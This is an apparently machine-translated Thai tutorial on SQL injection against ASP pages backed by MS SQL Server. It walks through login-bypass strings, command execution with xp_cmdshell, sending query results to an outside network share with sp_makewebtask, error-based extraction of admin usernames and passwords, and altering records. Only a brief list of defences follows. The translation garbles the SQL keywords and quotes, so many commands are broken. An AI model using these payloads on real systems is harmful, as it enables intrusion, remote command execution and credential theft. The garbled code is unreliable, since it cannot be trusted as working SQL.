เมื่อเซิร์ฟเวอร์ที่สนใจเปิดเฉพาะพอร์ต 80 และเครื่องสแกนช่องโหว่ไม่สามารถรายงานสิ่งที่น่าสนใจได้ และคุณรู้ว่าผู้ดูแลระบบจะติดตั้งแพตช์ทั้งหมดบนเว็บเซิร์ฟเวอร์อย่างรวดเร็วเสมอ โอกาสสุดท้ายของเราคือการแฮ็กเว็บ การแทรก SQL เป็นการแฮ็กเว็บประเภทหนึ่งที่ใช้เฉพาะพอร์ต 80 และสามารถทำงานได้แม้ว่าจะมีการติดตั้งแพตช์ในเวลาที่เหมาะสมก็ตาม การโจมตีนี้มุ่งเป้าไปที่เว็บแอปพลิเคชัน (เช่น ASP, JSP, PHP, CGI ฯลฯ) มากกว่าที่เว็บเซิร์ฟเวอร์หรือบริการในระบบปฏิบัติการโดยตรง
บทความนี้ไม่มีความจริงใหม่ มีการอธิบายและใช้ SQL อย่างกว้างขวางทุกที่ บทความนี้มีไว้สำหรับผู้เริ่มต้นมากกว่า แต่บางทีผู้เชี่ยวชาญอาจจะพบเคล็ดลับใหม่หนึ่งหรือสองอย่าง ฉันขอแนะนำให้ตรวจสอบลิงก์ท้ายบทความเพื่อดูข้อมูลโดยละเอียดเพิ่มเติมจากผู้เชี่ยวชาญในสาขานั้น
1.1 SQL Inject คืออะไร
SQL Injection เป็นวิธีการที่ออกแบบมาเพื่อแทรกคำสั่ง/คำสั่ง SQL ผ่านทางหน้าเว็บ เว็บเพจจำนวนมากใช้พารามิเตอร์ที่แสดงต่อผู้ใช้เว็บและสร้างแบบสอบถาม SQL ไปยังฐานข้อมูล ยกตัวอย่างกรณีการเข้าสู่ระบบของผู้ใช้ เมื่อมีหน้าเว็บที่มีชื่อและรหัสผ่าน และมีการสืบค้น SQL ในฐานข้อมูลเพื่อตรวจสอบว่ามีผู้ใช้ที่ลงทะเบียนด้วยชื่อและรหัสผ่านนั้นหรือไม่ การใช้ SQL Injection ทำให้สามารถส่งชื่อผู้ใช้และ/หรือรหัสผ่านที่สร้างขึ้นเพื่อแก้ไขแบบสอบถาม SQL ซึ่งสามารถให้สิ่งที่น่าสนใจแก่เราได้
2.0 สิ่งที่เราควรมองหา
พยายามค้นหาหน้าที่ขอข้อมูลของคุณ เช่น หน้าค้นหา หน้าอภิปราย ฯลฯ บางครั้งหน้า html ใช้วิธีการ POST เพื่อส่งคำสั่งไปยังหน้าเว็บอื่น ในกรณีนี้ คุณจะไม่เห็นพารามิเตอร์ใดๆ ใน URL อย่างไรก็ตาม ในกรณีนี้ คุณสามารถค้นหาแท็ก "FORM" ในซอร์สโค้ด HTML ของหน้าเว็บได้ คุณจะพบสิ่งนี้:
พารามิเตอร์ทั้งหมดระหว่าง
อาจเสี่ยงต่อการถูกฉีด SQL2.1 จะเกิดอะไรขึ้นหากคุณไม่พบหน้าเว็บที่ใช้อินพุต
ค้นหาหน้าเว็บเช่น ASP, JSP, CGI หรือเว็บเพจ PHP ลองค้นหาหน้าเว็บที่ใช้พารามิเตอร์เช่น:
3.0. ฉันจะตรวจสอบได้อย่างไรว่าสิ่งที่ฉันพบมีช่องโหว่?
ลองเริ่มต้นด้วยคำพูดเดียว ป้อนบรรทัดต่อไปนี้:
สวัสดี" หรือ 1=1--
ในช่องชื่อผู้ใช้หรือรหัสผ่าน หรือแม้แต่ในพารามิเตอร์ URL ตัวอย่าง:
เข้าสู่ระบบ: สวัสดี" หรือ 1=1--
ผ่าน: สวัสดี" หรือ 1=1--
http://duck/index.asp?id=hi" หรือ 1=1--
หากคุณทำเช่นนี้โดยมีช่องที่ซ่อนไว้ เพียงดาวน์โหลด HTML ต้นฉบับ บันทึกลงในฮาร์ดไดรฟ์ของคุณ เปลี่ยน URL และช่องที่ซ่อนตามนั้น ตัวอย่าง:
หากโชคเข้าข้างคุณ คุณจะสามารถเข้าสู่ระบบได้โดยไม่ต้องใช้ชื่อผู้ใช้หรือรหัสผ่าน
3.1 แต่ทำไม " หรือ 1=1--?
ลองดูอีกตัวอย่างหนึ่งที่อธิบายประโยชน์ของโครงสร้าง " หรือ 1=1-- นอกเหนือจากการข้ามการลงทะเบียนแล้ว เรายังดูข้อมูลเพิ่มเติมที่ปกติไม่มีให้อีกด้วย พิจารณาหน้า asp ที่ลิงก์ไปยังหน้าอื่นด้วย URL ต่อไปนี้:
http://duck/index.asp?category=food
ใน URL "category" คือชื่อของตัวแปร และ "food" คือค่าที่กำหนดให้กับตัวแปรนั้น เมื่อต้องการทำเช่นนี้ หน้า asp สามารถประกอบด้วยรหัสต่อไปนี้:
v_cat = คำขอ ("หมวดหมู่")
sqlstr = "เลือก * จากผลิตภัณฑ์ WHERE PCategory = "" & v_cat & """
ตั้งค่า rs=conn.execute(sqlstr)
อย่างที่คุณเห็น ตัวแปรของเราจะถูกรวมเข้ากับ v_cat ดังนั้นแบบสอบถาม SQL ควรกลายเป็น:
เลือก * จากผลิตภัณฑ์ WHERE PCategory="food"
แบบสอบถามนี้ต้องส่งคืนชุดที่มีหนึ่งแถวขึ้นไปที่ตรงกับส่วนคำสั่ง WHERE ในกรณีนี้คือ "อาหาร" ตอนนี้เรามาเปลี่ยน URL ดังนี้:
http://duck/index.asp?category=food" หรือ 1=1--
เลือก * จากผลิตภัณฑ์ WHERE PCategory="food" หรือ 1=1--'
แบบสอบถามนี้จะส่งคืนแถวทั้งหมดในตารางผลิตภัณฑ์ ไม่ว่า Pcategory จะเป็น "อาหาร" หรือไม่ก็ตาม เครื่องหมายขีดคู่ "-" จะบอก MS SQL Server ให้ละเว้นส่วนที่เหลือของแบบสอบถามที่ตามหลังเครื่องหมายคำพูดเดี่ยว (") บางครั้งคุณสามารถแทนที่เครื่องหมายขีดคู่ด้วยเครื่องหมาย "#" ที่คมชัดได้
อย่างไรก็ตาม หากคุณใช้เซิร์ฟเวอร์ที่ไม่ใช่ SQL หรือคุณไม่สามารถเพิกเฉยต่อข้อความค้นหาที่เหลือได้ ให้ลอง:
" หรือ "ก"="ก
ตอนนี้แบบสอบถาม SQL จะกลายเป็น:
เลือก * จากผลิตภัณฑ์ WHERE PCategory="food" หรือ "a"="a"
แบบสอบถามนี้จะส่งกลับผลลัพธ์เดียวกัน
ขึ้นอยู่กับแบบสอบถาม SQL จริง คุณอาจต้องลองใช้ความเป็นไปได้เหล่านี้:
"หรือ 1=1--
"หรือ 1=1--
หรือ 1=1--
" หรือ "ก"="ก
" หรือ "ก"="ก
") หรือ ("a"="a
4.0 ฉันจะรันคำสั่งจากระยะไกลโดยใช้ SQLjection ได้อย่างไร
ความสามารถในการป้อนคำสั่ง SQL มักจะหมายความว่าเราสามารถดำเนินการสืบค้น SQL ได้ตามต้องการ การติดตั้งเริ่มต้นของ MS SQL Server ทำงานโดยมีสิทธิ์ของระบบ เราสามารถเรียกโพรซีเดอร์ในตัว เช่น master..xp_cmdshell เพื่อรันคำสั่งจากระยะไกลได้:
"; exec master..xp_cmdshell "ping 10.10.1.2" --
ลองใช้เครื่องหมายคำพูดคู่ (") ถ้า (") ไม่ได้ผล
อัฒภาคจะสิ้นสุดคำสั่ง SQL ปัจจุบันและอนุญาตให้คุณเรียกใช้คำสั่ง SQL ใหม่ หากต้องการตรวจสอบว่าคำสั่งสำเร็จหรือไม่ คุณสามารถตรวจสอบแพ็กเก็ต ICMP ใน 10.10.1.2 เพื่อดูว่าแพ็กเก็ตเหล่านั้นมีแพ็กเก็ตจากเซิร์ฟเวอร์ที่มีช่องโหว่หรือไม่:
http://site/?ID=31610
หากคุณไม่ได้รับคำขอ Ping จากเซิร์ฟเวอร์ และได้รับข้อความแสดงข้อผิดพลาดที่ระบุข้อผิดพลาดในการอนุญาต อาจเป็นไปได้ว่าผู้ดูแลระบบได้จำกัดการเข้าถึงของผู้ใช้เว็บไปยังขั้นตอนที่เก็บไว้
5.0 ฉันจะรับผลลัพธ์ของการสืบค้น SQL ของฉันได้อย่างไร
คุณสามารถใช้ sp_makewebtask เพื่อเขียนคำขอของคุณในรูปแบบ HTML:
"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "เลือก * จาก INFORMATION_SCHEMA.TABLES"
IP ที่ระบุต้องมีโฟลเดอร์ "แชร์" ที่สามารถเข้าถึงได้สำหรับทุกคน
6.0 จะดึงข้อมูลจากฐานข้อมูลโดยใช้ข้อความแสดงข้อผิดพลาด ODBC ได้อย่างไร
เราสามารถใช้ข้อมูลจากข้อความแสดงข้อผิดพลาดที่สร้างโดยเซิร์ฟเวอร์ SQL เพื่อดึงข้อมูลใด ๆ ตัวอย่างเช่น พิจารณาหน้าต่อไปนี้:
http://duck/index.asp?id=10
ตอนนี้เราจะพยายามเชื่อมจำนวนเต็ม '10' กับแถวอื่นในฐานข้อมูล:
http://duck/index.asp?id=10 UNION เลือก 1 TABLE_NAME อันดับแรกจาก INFORMATION_SCHEMA.TABLES--
ตารางระบบ INFORMATION_SCHEMA.TABLES ประกอบด้วยข้อมูลจากตารางทั้งหมดบนเซิร์ฟเวอร์
ฟิลด์ TABLE_NAME มีชื่อของแต่ละตารางในฐานข้อมูลอย่างชัดเจน มันถูกเลือกเพราะเรารู้ว่ามันมีอยู่จริงเสมอ คำขอของเรา:
เลือก TABLE_NAME 1 อันดับแรกจาก INFORMATION_SCHEMA.TABLES--
แบบสอบถามนี้จะส่งคืนชื่อในฐานข้อมูล เมื่อเรารวมค่าสตริงนี้เป็นจำนวนเต็ม 10 แล้ว MS SQL Server จะพยายามแปลงสตริง nvarchar ให้เป็นจำนวนเต็ม นี่จะทำให้เกิดข้อผิดพลาดโดยแจ้งว่าไม่สามารถแปลง nvarchar เป็น int ได้ เซิร์ฟเวอร์จะส่งข้อผิดพลาดต่อไปนี้:
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "table1" to a column of data type int.
!}
/index.asp บรรทัดที่ 5
ข้อความแสดงข้อผิดพลาดประกอบด้วยข้อมูลเกี่ยวกับค่าที่ไม่สามารถแปลงเป็นจำนวนเต็มได้ ในกรณีนี้ เราได้ชื่อของตารางแรก - "table1"
หากต้องการรับชื่อตารางถัดไป เราสามารถใช้แบบสอบถามต่อไปนี้:
http://duck/index.asp?id=10 UNION เลือก 1 อันดับแรก TABLE_NAME จาก INFORMATION_SCHEMA.TABLES โดยที่ TABLE_NAME ไม่ได้อยู่ใน ("table1")--
นอกจากนี้เรายังสามารถค้นหาข้อมูลโดยใช้ปุ่ม LIKE:
http://duck/index.asp?id=10 UNION เลือก 1 อันดับแรก TABLE_NAME จาก INFORMATION_SCHEMA.TABLES โดยที่ TABLE_NAME เช่น "%25login%25"--
ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07" ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "admin_login" to a column of data type int. !} /index.asp บรรทัดที่ 5
โครงสร้างที่สอดคล้องกัน "%25login%25" จะถูกแทนที่ด้วย %login% ในเซิร์ฟเวอร์ SQL ในกรณีนี้ เราจะได้ชื่อของตารางที่ตรงกับเกณฑ์ "admin_login"
6.1 ฉันจะค้นหาชื่อคอลัมน์ทั้งหมดในตารางได้อย่างไร
เราสามารถใช้ตาราง INFORMATION_SCHEMA.COLUMNS เพื่อแสดงชื่อคอลัมน์ทั้งหมดในตาราง:
http://duck/index.asp?id=10 UNION เลือก 1 อันดับแรก COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS โดยที่ TABLE_NAME="admin_login"-
ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "login_id" to a column of data type int.
!}
/index.asp บรรทัดที่ 5
ตอนนี้เราทราบชื่อคอลัมน์แรกแล้ว เราสามารถใช้ NOT IN() เพื่อรับชื่อคอลัมน์ถัดไป:
http://duck/index.asp?id=10 UNION เลือก 1 อันดับสูงสุด COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" โดยที่ COLUMN_NAME ไม่อยู่ใน ("login_id")-
ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "login_name" to a column of data type int.
!}
/index.asp บรรทัดที่ 5
ต่อไปเราจะได้ชื่อคอลัมน์ที่เหลือเช่น "รหัสผ่าน", "รายละเอียด" จนกว่าเราจะพบข้อผิดพลาดดังต่อไปนี้
http://duck/index.asp?id=10 UNION เลือก 1 อันดับสูงสุด COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id", "login_name", "password", รายละเอียด ") -
ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของโปรแกรมควบคุม ODBC "80040e14"
รายการ ORDER BY จะต้องปรากฏในรายการที่เลือกหากคำสั่งมีตัวดำเนินการ UNION
/index.asp บรรทัดที่ 5
6.2. เราจะได้ข้อมูลที่เราต้องการได้อย่างไร?
ตอนนี้เราได้ระบุตารางที่สำคัญบางตารางแล้ว เราสามารถใช้เทคนิคเดียวกันนี้เพื่อดึงข้อมูลจากฐานข้อมูลได้
มารับ Login_name แรกจากตาราง "admin_login":
http://duck/index.asp?id=10 UNION เลือก 1 ชื่อล็อกอินสูงสุดจาก admin_login--
ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "neo" to a column of data type int.
!}
/index.asp บรรทัดที่ 5
ตอนนี้เรารู้แล้วว่ามีผู้ใช้ที่เป็นผู้ดูแลระบบชื่อล็อกอิน "นีโอ" ในที่สุดเราก็ได้รหัสผ่าน "นีโอ":
http://duck/index.asp?id=10 UNION เลือกรหัสผ่าน 1 อันดับแรกจาก admin_login โดยที่ login_name="neo"--
ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "m4trix" to a column of data type int.
!}
/index.asp บรรทัดที่ 5
ตอนนี้เราจะสามารถเข้าสู่ระบบเป็น "นีโอ" ด้วยรหัสผ่าน "m4trix"
6.3 จะรับค่าตัวเลขของสตริงได้อย่างไร?
มีข้อจำกัดในวิธีการที่อธิบายไว้ข้างต้น เราจะไม่สามารถรับข้อความแสดงข้อผิดพลาดหากเราพยายามแปลงข้อความที่ประกอบด้วยตัวเลข (เฉพาะอักขระระหว่าง 0...9) ตอนนี้เราจะอธิบายการรับรหัสผ่าน "31173" จากผู้ใช้ "trinity":
http://duck/index.asp?id=10 UNION เลือกรหัสผ่าน 1 อันดับแรกจาก admin_login โดยที่ login_name="trinity"--
เราอาจจะได้รับข้อผิดพลาด "ไม่พบหน้า" เหตุผลก็คือรหัสผ่าน "31173" จะถูกแปลงเป็นตัวเลขก่อน UNION ด้วยจำนวนเต็ม (ในกรณีของเรา 10) เนื่องจากนิพจน์ UNION ถูกต้อง เซิร์ฟเวอร์ SQL จะไม่สร้างข้อความแสดงข้อผิดพลาด ดังนั้นเราจึงไม่สามารถรับบันทึกตัวเลขได้
เพื่อแก้ไขปัญหานี้ เราสามารถเพิ่มสตริงตัวเลขที่ท้ายด้วยตัวอักษรบางตัวเพื่อป้องกันไม่ให้การแปลงเกิดขึ้น คำขอที่แก้ไข:
http://duck/index.asp?id=10 UNION SELECT การแปลง 1 อันดับแรก (int, รหัสผ่าน%2b"%20morpheus") จาก admin_login โดยที่ login_name="trinity"--
เราเพียงใช้เครื่องหมายบวก (+) เพื่อต่อท้ายรหัสผ่านด้วยข้อความใดก็ได้ (การเข้ารหัส ASSCII สำหรับ "+" = 0x2b) ต่อไป เราจะเพิ่ม "%20morpheus" ต่อท้ายรหัสผ่านจริง ดังนั้นแม้ว่าค่ารหัสผ่านจะเป็น "31173" ก็จะกลายเป็น "31173 morpheus" การเรียกฟังก์ชัน Convert() ด้วยตนเองที่พยายามแปลง "31173 morpheus" เป็นจำนวนเต็ม SQL Server จะแสดงข้อความแสดงข้อผิดพลาด ODBC:
ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดของไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "31173 morpheus" to a column of data type int.
!}
/index.asp บรรทัดที่ 5
ตอนนี้เราจะสามารถเข้าสู่ระบบเป็น "ทรินิตี้" ด้วยรหัสผ่าน "31173"
7.0 จะแก้ไข/แทรกข้อมูลลงในฐานข้อมูลได้อย่างไร?
เมื่อเราได้ชื่อทุกคนตามคอลัมน์ในตารางแล้ว เราก็สามารถทำได้ อัปเดต (UPDATE) หรือแม้แต่แทรก (INSERT) บันทึกใหม่ลงในตาราง ตัวอย่างเช่น เราสามารถเปลี่ยนรหัสผ่านสำหรับ "neo": http://เป็ด/index.asp?id=10; อัปเดต "admin_login" ตั้งค่า "รหัสผ่าน" = "newpas5" โดยที่ login_name = "neo-- หากต้องการแทรกบันทึกใหม่ลงในฐานข้อมูล: http://เป็ด/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") ค่า (666,"neo2", "newpas5", "NA")-- ตอนนี้เราจะสามารถเข้าสู่ระบบเป็น "neo" ด้วยรหัสผ่าน "newpas5" กรองอักขระพิเศษในทุกบรรทัดใน: ข้อมูลใด ๆ ที่ผู้ใช้ป้อน สำหรับค่าตัวเลข ให้แปลงเป็นจำนวนเต็มก่อนส่งต่อไปยังแบบสอบถาม SQL หรือใช้ ISNUMERIC เพื่อให้แน่ใจว่าเป็นจำนวนเต็ม เรียกใช้ SQL Server ในฐานะผู้ใช้ที่ไม่มีสิทธิพิเศษ ลบขั้นตอนการจัดเก็บที่ไม่ได้ใช้: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask8.0 จะหลีกเลี่ยงการฉีด SQL ได้อย่างไร
- พารามิเตอร์ URL
- คุกกี้